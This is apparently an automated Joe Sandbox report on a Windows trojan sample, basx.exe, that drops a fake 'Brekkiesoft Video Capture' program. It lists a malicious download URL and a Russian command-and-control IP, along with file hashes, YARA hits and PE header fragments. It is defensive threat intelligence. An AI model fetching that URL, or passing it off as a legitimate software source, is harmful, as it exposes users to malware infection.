                                              https://www.easycutstudio.com/support.htmlbasx.exe, 00000000.00000002.3383813920.00000000020B1000.00000004.00001000.00020000.00000000.sdmp, basx.exe, 00000000.00000003.2119149552.0000000002350000.00000004.00001000.00020000.00000000.sdmp, basx.exe, 00000000.00000003.2119227526.00000000020B1000.00000004.00001000.00020000.00000000.sdmp, basx.tmp, 00000001.00000002.3383825323.000000000059B000.00000004.00000020.00020000.00000000.sdmp, basx.tmp, 00000001.00000003.2121555955.0000000003110000.00000004.00001000.00020000.00000000.sdmp, basx.tmp, 00000001.00000003.2121669501.00000000021D8000.00000004.00001000.00020000.00000000.sdmp, basx.tmp, 00000001.00000002.3384218651.00000000021D8000.00000004.00001000.00020000.00000000.sdmpfalse
                                                high
                                                https://188.119.66.185/6rbsoftvideocapture33.exe, 00000003.00000002.3385203674.0000000003395000.00000004.00000020.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                unknown
                                                • No. of IPs < 25%
                                                • 25% < No. of IPs < 50%
                                                • 50% < No. of IPs < 75%
                                                • 75% < No. of IPs
                                                IPDomainCountryFlagASNASN NameMalicious
                                                188.119.66.185
                                                unknownRussian Federation
                                                209499FLYNETRUfalse
                                                Joe Sandbox version:41.0.0 Charoite
                                                Analysis ID:1577466
                                                Start date and time:2024-12-18 13:58:59 +01:00
                                                Joe Sandbox product:CloudBasic
                                                Overall analysis duration:0h 6m 12s
                                                Hypervisor based Inspection enabled:false
                                                Report type:full
                                                Cookbook file name:default.jbs
                                                Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                Number of analysed new started processes analysed:6
                                                Number of new started drivers analysed:0
                                                Number of existing processes analysed:0
                                                Number of existing drivers analysed:0
                                                Number of injected processes analysed:0
                                                Technologies:
                                                • HCA enabled
                                                • EGA enabled
                                                • AMSI enabled
                                                Analysis Mode:default
                                                Analysis stop reason:Timeout
                                                Sample name:basx.exe
                                                Detection:MAL
                                                Classification:mal100.troj.evad.winEXE@5/30@0/1
                                                EGA Information:
                                                • Successful, ratio: 100%
                                                HCA Information:
                                                • Successful, ratio: 90%
                                                • Number of executed functions: 170
                                                • Number of non-executed functions: 291
                                                Cookbook Comments:
                                                • Found application associated with file extension: .exe
                                                • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
                                                • Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.12.23.50
                                                • Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                • Report size exceeded maximum capacity and may have missing disassembly code.
                                                • Report size getting too big, too many NtOpenKeyEx calls found.
                                                • Report size getting too big, too many NtQueryValueKey calls found.
                                                • VT rate limit hit for: basx.exe
                                                TimeTypeDescription
                                                08:00:33API Interceptor535728x Sleep call for process: bsoftvideocapture33.exe modified
                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                188.119.66.185newwork.exe.1.exeGet hashmaliciousSocks5SystemzBrowse
                                                  stail.exe.3.exeGet hashmaliciousSocks5SystemzBrowse
                                                    steel.exe.3.exeGet hashmaliciousSocks5SystemzBrowse
                                                      newwork.exe.1.exeGet hashmaliciousSocks5SystemzBrowse
                                                        steel.exe.3.exeGet hashmaliciousSocks5SystemzBrowse
                                                          Oz2UhFBTHy.exeGet hashmaliciousSocks5SystemzBrowse
                                                            GEm3o8pION.exeGet hashmaliciousSocks5SystemzBrowse
                                                              GEm3o8pION.exeGet hashmaliciousSocks5SystemzBrowse
                                                                bzX2pV3Ybw.exeGet hashmaliciousSocks5SystemzBrowse
                                                                  bzX2pV3Ybw.exeGet hashmaliciousSocks5SystemzBrowse
                                                                    No context
                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                    FLYNETRUnewwork.exe.1.exeGet hashmaliciousSocks5SystemzBrowse
                                                                    • 188.119.66.185
                                                                    stail.exe.3.exeGet hashmaliciousSocks5SystemzBrowse
                                                                    • 188.119.66.185
                                                                    steel.exe.3.exeGet hashmaliciousSocks5SystemzBrowse
                                                                    • 188.119.66.185
                                                                    newwork.exe.1.exeGet hashmaliciousSocks5SystemzBrowse
                                                                    • 188.119.66.185
                                                                    steel.exe.3.exeGet hashmaliciousSocks5SystemzBrowse
                                                                    • 188.119.66.185
                                                                    Oz2UhFBTHy.exeGet hashmaliciousSocks5SystemzBrowse
                                                                    • 188.119.66.185
                                                                    GEm3o8pION.exeGet hashmaliciousSocks5SystemzBrowse
                                                                    • 188.119.66.185
                                                                    GEm3o8pION.exeGet hashmaliciousSocks5SystemzBrowse
                                                                    • 188.119.66.185
                                                                    bzX2pV3Ybw.exeGet hashmaliciousSocks5SystemzBrowse
                                                                    • 188.119.66.185
                                                                    bzX2pV3Ybw.exeGet hashmaliciousSocks5SystemzBrowse
                                                                    • 188.119.66.185
                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                    51c64c77e60f3980eea90869b68c58a8newwork.exe.1.exeGet hashmaliciousSocks5SystemzBrowse
                                                                    • 188.119.66.185
                                                                    stail.exe.3.exeGet hashmaliciousSocks5SystemzBrowse
                                                                    • 188.119.66.185
                                                                    steel.exe.3.exeGet hashmaliciousSocks5SystemzBrowse
                                                                    • 188.119.66.185
                                                                    newwork.exe.1.exeGet hashmaliciousSocks5SystemzBrowse
                                                                    • 188.119.66.185
                                                                    steel.exe.3.exeGet hashmaliciousSocks5SystemzBrowse
                                                                    • 188.119.66.185
                                                                    cd#U9988.exeGet hashmaliciousUnknownBrowse
                                                                    • 188.119.66.185
                                                                    Oz2UhFBTHy.exeGet hashmaliciousSocks5SystemzBrowse
                                                                    • 188.119.66.185
                                                                    GEm3o8pION.exeGet hashmaliciousSocks5SystemzBrowse
                                                                    • 188.119.66.185
                                                                    GEm3o8pION.exeGet hashmaliciousSocks5SystemzBrowse
                                                                    • 188.119.66.185
                                                                    bzX2pV3Ybw.exeGet hashmaliciousSocks5SystemzBrowse
                                                                    • 188.119.66.185
                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                    C:\ProgramData\BrekkiesoftVideoCapture\sqlite3.dllnewwork.exe.1.exeGet hashmaliciousSocks5SystemzBrowse
                                                                      stail.exe.3.exeGet hashmaliciousSocks5SystemzBrowse
                                                                        steel.exe.3.exeGet hashmaliciousSocks5SystemzBrowse
                                                                          newwork.exe.1.exeGet hashmaliciousSocks5SystemzBrowse
                                                                            steel.exe.3.exeGet hashmaliciousSocks5SystemzBrowse
                                                                              AbC0LBkVhr.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                Oz2UhFBTHy.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                  GEm3o8pION.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                    GEm3o8pION.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                      bzX2pV3Ybw.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                        Process:C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):3473773
                                                                                        Entropy (8bit):6.47219187133219
                                                                                        Encrypted:false
                                                                                        SSDEEP:49152:4l9bK1qe++6mEd8KbvUQP1jXLMxt7UqbYWgsQ6Y5:47K1Jxe8KbUQP1XMxtQq8WWj5
                                                                                        MD5:C8FF7F2AEE9BB015FC6C931A953CD294
                                                                                        SHA1:70748A218ADF6EBF2D88CEC7AC0A4558AAE31FFF
                                                                                        SHA-256:1A2C153BC47AC7FA9E7F07C7290B559D2CD4E6E8D8D00BCA0ABBFFF9FE2C7157
                                                                                        SHA-512:F33201A0A1D99BD87F3CE83608C2B51722E85D16DF04845033D354A5BDA136B5791FF3532BADC39F220B789861FB5BA829B6EC82C2013F5D80670A4184354DE8
                                                                                        Malicious:true
                                                                                        Yara Hits:
                                                                                        • Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\BrekkiesoftVideoCapture\BrekkiesoftVideoCapture.exe, Author: Joe Security
                                                                                        Antivirus:
                                                                                        • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                        • Antivirus: ReversingLabs, Detection: 33%
                                                                                        Reputation:low
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................PE..L....vag.....................l......4D............@..........................`5.....k#5.....................................,........@..................................................................................T..........................._aett_1............................ ..`_aftt_1..-..........................@..@_agtt_1..d.......2..................@....rsrc........@......................@..@_ahtt_1..< .. ..m; .................`...........................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                        Process:C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):645592
                                                                                        Entropy (8bit):6.50414583238337
                                                                                        Encrypted:false
                                                                                        SSDEEP:12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
                                                                                        MD5:E477A96C8F2B18D6B5C27BDE49C990BF
                                                                                        SHA1:E980C9BF41330D1E5BD04556DB4646A0210F7409
                                                                                        SHA-256:16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
                                                                                        SHA-512:335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
                                                                                        Malicious:true
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Joe Sandbox View:
                                                                                        • Filename: newwork.exe.1.exe, Detection: malicious, Browse
                                                                                        • Filename: stail.exe.3.exe, Detection: malicious, Browse
                                                                                        • Filename: steel.exe.3.exe, Detection: malicious, Browse
                                                                                        • Filename: newwork.exe.1.exe, Detection: malicious, Browse
                                                                                        • Filename: steel.exe.3.exe, Detection: malicious, Browse
                                                                                        • Filename: AbC0LBkVhr.exe, Detection: malicious, Browse
                                                                                        • Filename: Oz2UhFBTHy.exe, Detection: malicious, Browse
                                                                                        • Filename: GEm3o8pION.exe, Detection: malicious, Browse
                                                                                        • Filename: GEm3o8pION.exe, Detection: malicious, Browse
                                                                                        • Filename: bzX2pV3Ybw.exe, Detection: malicious, Browse
                                                                                        Reputation:high, very likely benign file
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..
                                                                                        Process:C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        File Type:PGP symmetric key encrypted data -
                                                                                        Category:dropped
                                                                                        Size (bytes):8
                                                                                        Entropy (8bit):2.0
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:My/:MC
                                                                                        MD5:D79FA16EECE3647392B9B09C6BEB1C88
                                                                                        SHA1:ADB367972019F13923157E2C7A96E62B56FFD718
                                                                                        SHA-256:34F4AB9708F674634B57309FF2E78A5D3A3DB5486AADC142764171E975B47138
                                                                                        SHA-512:AD184453060834517B8308F9E252A04BA8AC3ABA1B0619E9B878074C753C96571F7611EAE38FE528DEB8B9EE9804FEBD58EF8A77D84BBE35B688C0F45E92103A
                                                                                        Malicious:false
                                                                                        Reputation:low
                                                                                        Preview:..bg....
                                                                                        Process:C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        File Type:data
                                                                                        Category:dropped
                                                                                        Size (bytes):4
                                                                                        Entropy (8bit):0.8112781244591328
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:Xln:1
                                                                                        MD5:ED69DFADEF68FC181AAE2D22715A01D6
                                                                                        SHA1:3A9981C3761721792B7702231583758AE5ACF8A7
                                                                                        SHA-256:3EF3BD3D6658C0DFDFDD7AA65E3D92BF1DA9A04678A4ED2A5D84ED824EC91775
                                                                                        SHA-512:B70AF13C96AC7C3AC97C84F9EFC1F38794B190635AB602CE35C8572B9C3597DD1A4ABBFFCCB3AD8AE76CDB247C221168F2D45B7225A56444FF445937921FC318
                                                                                        Malicious:false
                                                                                        Reputation:low
                                                                                        Preview:....
                                                                                        Process:C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        File Type:ASCII text, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):128
                                                                                        Entropy (8bit):2.9012093522336393
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:ObXXXd0AbDBdUBWetxt:Or9Lb3UFx
                                                                                        MD5:679DD163372163CD8FFC24E3C9E758B3
                                                                                        SHA1:F307C14CA65810C8D0238B89B49B2ACD7C5B233B
                                                                                        SHA-256:510EA89D00FA427C33BD67AEEA60D21066976F085959C2AFE1F69411A8CA722D
                                                                                        SHA-512:46C464F15BCE39E28DCD48AF36C424845631D2B48D7E37D7FBBBEE0BC4DF32445A2810E397BF29FCA76C0364B1AA30CC05DCF4D9E799C6C697B49A174560969C
                                                                                        Malicious:false
                                                                                        Preview:12b48997735ce8b4537cf99be74bb62f518d3799011c89eb7c719048e83fac56................................................................
                                                                                        Process:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):265728
                                                                                        Entropy (8bit):6.4472652154517345
                                                                                        Encrypted:false
                                                                                        SSDEEP:6144:Fs7u3JL96d15Y2BmKh678IuYAhN3YCjlgiZioXyLWvCe93rZ5WZOlUmpNJ5mlbb/:e7WJL96d15Y2BmKh678IuYAhN3YCjlgw
                                                                                        MD5:752CA72DE243F44AF2ED3FF023EF826E
                                                                                        SHA1:7B508F6B72BD270A861B368EC9FE4BF55D8D472F
                                                                                        SHA-256:F8196F03F8CBED87A92BA5C1207A9063D4EEBB0C22CA88A279F1AE1B1F1B8196
                                                                                        SHA-512:4E5A7242C25D4BBF9087F813D4BF057432271A0F08580DA8C894B7C290DE9E0CF640F6F616B0B6C6CAD14DC0AFDD2697D2855BA4070270824540BAE835FE8C4A
                                                                                        Malicious:true
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..=...........!................`;.......................................P.......................'..............p...o.......d.... .......................0..\.......................................................4............................text...k........................... ..`.rdata..............................@..@.data....9.......0..................@....idata..............................@....rsrc........ ......................@..@.reloc..T....0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                        Process:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        File Type:MS Windows HtmlHelp Data
                                                                                        Category:dropped
                                                                                        Size (bytes):78183
                                                                                        Entropy (8bit):7.692742945771669
                                                                                        Encrypted:false
                                                                                        SSDEEP:1536:Bkt2SjEQ3r94YqwyadpL1X6Dtn4afF1VowWb8ZmmUQNk3gNqCLbMsFxJse8hbpmn:mR/CYj9dp5XIyI2b/mY3gNjLbMsOaP
                                                                                        MD5:B1B9E6D43319F6D4E52ED858C5726A97
                                                                                        SHA1:5033047A30CCCF57783C600FD76A6D220021B19D
                                                                                        SHA-256:8003A4A0F9F5DFB62BEFBF81F8C05894B0C1F987ACFC8654A6C6CE02B6213910
                                                                                        SHA-512:E56D6EC9170DEBAC28BB514942F794F73D4C194D04C54EFF9227B6EE3C74BA4FCF239FFF0BB6556DC8B847FA89D382AF206A2C481C41A3510936B0A74192D2C2
                                                                                        Malicious:false
                                                                                        Preview:ITSF....`..........E.......|.{.......".....|.{......."..`...............x.......T.......................g1..............ITSP....T...........................................j..].!......."..T...............PMGLW................/..../#IDXHDR...F.../#ITBITS..../#IVB...N$./#STRINGS.....P./#SYSTEM..N.'./#TOPICS...F.0./#URLSTR...:.t./#URLTBL...v.D./$FIftiMain......1./$OBJINST...z.../$WWAssociativeLinks/..../$WWAssociativeLinks/Property...v../$WWKeywordLinks/..../$WWKeywordLinks/Property...r../After.jpg...4..../Auto-.hhc...^./Auto-Adjustment.htm....?./Auto-BleachTeeth.htm...z.3./Auto-Crop2Plus.htm..U.j./Auto-Emphasis.htm...w.V./Auto-EyeColor.htm...!.../Auto-EyePencil.htm..._.../Auto-EyeShadow.htm...,.3./Auto-GettingStarted.htm....Q./Auto-Lipstick.htm..R.M./Auto-Liquify.htm...-.v./Auto-Menu.htm..S.r./Auto-OrderingInformation.htm...Q.../Auto-Overview.htm..^.$./Auto-Powder.htm......./Auto-Resize.htm..s.b./Auto-Rotation.htm..?.e./Auto-Rouge.htm...=.d./Auto-SkinCare.htm...|.{./Auto-SmartPatchCosmet
                                                                                        Process:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):176128
                                                                                        Entropy (8bit):6.204917493416147
                                                                                        Encrypted:false
                                                                                        SSDEEP:3072:l9iEoC1+7N9UQV2Mi8NTUU3/EO3h3E9y6GeoPRtsoWhi75MUbvSHQ:l+ssU62Mi8x9P/UVGeQRthMUbvS
                                                                                        MD5:FEC4FF0C2967A05543747E8D552CF9DF
                                                                                        SHA1:B4449DC0DF8C0AFCC9F32776384A6F5B5CEDE20C
                                                                                        SHA-256:5374148EBCF4B456F8711516A58C9A007A393CA88F3D9759041F691E4343C7D6
                                                                                        SHA-512:93E3F48CD393314178CBC86F6142D577D5EAAE52B47C4D947DBA4DFB706860B150FF5B0E546CB83114CA44666E9DF6021964D79D064B775A58698DAA9550EF13
                                                                                        Malicious:true
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+0.J^..J^..J^.cE...J^..VR..J^..UU..J^.#VP..J^..UT..J^..UZ..J^..kU..J^..kZ..J^..J_..J^..iT..J^..io..J^.gLX..J^._jZ..J^.Rich.J^.................PE..L.....L...........!.....0...@.......'.......@...................................................................... e..k....X..d....`.......................p..p....................................................@...............................text....".......0.................. ..`.rdata...%...@...0...@..............@..@.data...T....p... ...p..............@....rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................................
                                                                                        Process:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                        Category:modified
                                                                                        Size (bytes):3473773
                                                                                        Entropy (8bit):6.47219187133219
                                                                                        Encrypted:false
                                                                                        SSDEEP:49152:4l9bK1qe++6mEd8KbvUQP1jXLMxt7UqbYWgsQ6Y5:47K1Jxe8KbUQP1XMxtQq8WWj5
                                                                                        MD5:C8FF7F2AEE9BB015FC6C931A953CD294
                                                                                        SHA1:70748A218ADF6EBF2D88CEC7AC0A4558AAE31FFF
                                                                                        SHA-256:1A2C153BC47AC7FA9E7F07C7290B559D2CD4E6E8D8D00BCA0ABBFFF9FE2C7157
                                                                                        SHA-512:F33201A0A1D99BD87F3CE83608C2B51722E85D16DF04845033D354A5BDA136B5791FF3532BADC39F220B789861FB5BA829B6EC82C2013F5D80670A4184354DE8
                                                                                        Malicious:true
                                                                                        Yara Hits:
                                                                                        • Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe, Author: Joe Security
                                                                                        Antivirus:
                                                                                        • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                        • Antivirus: ReversingLabs, Detection: 33%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................PE..L....vag.....................l......4D............@..........................`5.....k#5.....................................,........@..................................................................................T..........................._aett_1............................ ..`_aftt_1..-..........................@..@_agtt_1..d.......2..................@....rsrc........@......................@..@_ahtt_1..< .. ..m; .................`...........................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                        Process:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):1645320
                                                                                        Entropy (8bit):6.787752063353702
                                                                                        Encrypted:false
                                                                                        SSDEEP:24576:Fk18V2mHkfIE3Ip9vkWEgDecZV3W9kpOuRw8RhWd5Ixwzr6lOboU7j97S9D+z98v:FZNkf+uW3D1ZVG9kVw8I5Rv6lwH9+X
                                                                                        MD5:871C903A90C45CA08A9D42803916C3F7
                                                                                        SHA1:D962A12BC15BFB4C505BB63F603CA211588958DB
                                                                                        SHA-256:F1DA32183B3DA19F75FA4EF0974A64895266B16D119BBB1DA9FE63867DBA0645
                                                                                        SHA-512:985B0B8B5E3D96ACFD0514676D9F0C5D2D8F11E31F01ACFA0F7DA9AF3568E12343CA77F541F55EDDA6A0E5C14FE733BDA5DC1C10BB170D40D15B7A60AD000145
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s...7o..7o..7o...L..<o..7o..en...L..$o...L...o...L..6o...L..6o...L..(n...L..6o..Rich7o..................PE..L.....D@...........!.........`.......Q.......`.....p................................................................l...CN..|...x....p...........................s.....8...............................................0............................text...n........................... ..`.data...X...........................@...Shared.......`.......P..............@....rsrc........p... ...`..............@..@.reloc...s..........................@..B................................................................................................................................................................................................................................................................................................................................
                                                                                        Process:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        File Type:data
                                                                                        Category:dropped
                                                                                        Size (bytes):3473773
                                                                                        Entropy (8bit):6.472191504590529
                                                                                        Encrypted:false
                                                                                        SSDEEP:49152:nl9bK1qe++6mEd8KbvUQP1jXLMxt7UqbYWgsQ6Y5:n7K1Jxe8KbUQP1XMxtQq8WWj5
                                                                                        MD5:1D380AE131A8AD64488383D54FA6B1EF
                                                                                        SHA1:5C05D81BCD2883F3ED6051907F064D4321A58FFA
                                                                                        SHA-256:C538A9A2C6A17FAC49CCE2791349B6DBB28C499BAACB5F2761396ABF6564C8AE
                                                                                        SHA-512:BC823CBF493538F6F4C097937D6F7580DA36285F68C7EAAF46DCD341495FB79C8B394D85A280AA71F2893FA83E355F8645D0F8F37937B3B16AC49063F47B3E39
                                                                                        Malicious:false
                                                                                        Yara Hits:
                                                                                        • Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\is-2NU4B.tmp, Author: Joe Security
                                                                                        Preview:.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................PE..L....vag.....................l......4D............@..........................`5.....k#5.....................................,........@..................................................................................T..........................._aett_1............................ ..`_aftt_1..-..........................@..@_agtt_1..d.......2..................@....rsrc........@......................@..@_ahtt_1..< .. ..m; .................`...........................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                        Process:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):499712
                                                                                        Entropy (8bit):6.414789978441117
                                                                                        Encrypted:false
                                                                                        SSDEEP:12288:fJzxYPVsBnxO/R7krZhUgiW6QR7t5k3Ooc8iHkC2eq:fZxvBnxOJ7ki3Ooc8iHkC2e
                                                                                        MD5:561FA2ABB31DFA8FAB762145F81667C2
                                                                                        SHA1:C8CCB04EEDAC821A13FAE314A2435192860C72B8
                                                                                        SHA-256:DF96156F6A548FD6FE5672918DE5AE4509D3C810A57BFFD2A91DE45A3ED5B23B
                                                                                        SHA-512:7D960AA8E3CCE22D63A6723D7F00C195DE7DE83B877ECA126E339E2D8CC9859E813E05C5C0A5671A75BB717243E9295FD13E5E17D8C6660EB59F5BAEE63A7C43
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................................................................Rich...................PE..L.....w>...........!.................-............:|................................~e..............................$...?...d!..<....`.......................p...0..8...8...............................H............................................text............................... ..`.rdata..2*.......0..................@..@.data...h!...0... ...0..............@....rsrc........`.......P..............@..@.reloc...0...p...@...`..............@..B........................................................................................................................................................................................................................................................................................................................
                                                                                        Process:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):176128
                                                                                        Entropy (8bit):6.204917493416147
                                                                                        Encrypted:false
                                                                                        SSDEEP:3072:l9iEoC1+7N9UQV2Mi8NTUU3/EO3h3E9y6GeoPRtsoWhi75MUbvSHQ:l+ssU62Mi8x9P/UVGeQRthMUbvS
                                                                                        MD5:FEC4FF0C2967A05543747E8D552CF9DF
                                                                                        SHA1:B4449DC0DF8C0AFCC9F32776384A6F5B5CEDE20C
                                                                                        SHA-256:5374148EBCF4B456F8711516A58C9A007A393CA88F3D9759041F691E4343C7D6
                                                                                        SHA-512:93E3F48CD393314178CBC86F6142D577D5EAAE52B47C4D947DBA4DFB706860B150FF5B0E546CB83114CA44666E9DF6021964D79D064B775A58698DAA9550EF13
                                                                                        Malicious:true
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+0.J^..J^..J^.cE...J^..VR..J^..UU..J^.#VP..J^..UT..J^..UZ..J^..kU..J^..kZ..J^..J_..J^..iT..J^..io..J^.gLX..J^._jZ..J^.Rich.J^.................PE..L.....L...........!.....0...@.......'.......@...................................................................... e..k....X..d....`.......................p..p....................................................@...............................text....".......0.................. ..`.rdata...%...@...0...@..............@..@.data...T....p... ...p..............@....rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................................
                                                                                        Process:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):645592
                                                                                        Entropy (8bit):6.50414583238337
                                                                                        Encrypted:false
                                                                                        SSDEEP:12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
                                                                                        MD5:E477A96C8F2B18D6B5C27BDE49C990BF
                                                                                        SHA1:E980C9BF41330D1E5BD04556DB4646A0210F7409
                                                                                        SHA-256:16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
                                                                                        SHA-512:335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
                                                                                        Malicious:true
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..
                                                                                        Process:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        File Type:MS Windows HtmlHelp Data
                                                                                        Category:dropped
                                                                                        Size (bytes):78183
                                                                                        Entropy (8bit):7.692742945771669
                                                                                        Encrypted:false
                                                                                        SSDEEP:1536:Bkt2SjEQ3r94YqwyadpL1X6Dtn4afF1VowWb8ZmmUQNk3gNqCLbMsFxJse8hbpmn:mR/CYj9dp5XIyI2b/mY3gNjLbMsOaP
                                                                                        MD5:B1B9E6D43319F6D4E52ED858C5726A97
                                                                                        SHA1:5033047A30CCCF57783C600FD76A6D220021B19D
                                                                                        SHA-256:8003A4A0F9F5DFB62BEFBF81F8C05894B0C1F987ACFC8654A6C6CE02B6213910
                                                                                        SHA-512:E56D6EC9170DEBAC28BB514942F794F73D4C194D04C54EFF9227B6EE3C74BA4FCF239FFF0BB6556DC8B847FA89D382AF206A2C481C41A3510936B0A74192D2C2
                                                                                        Malicious:false
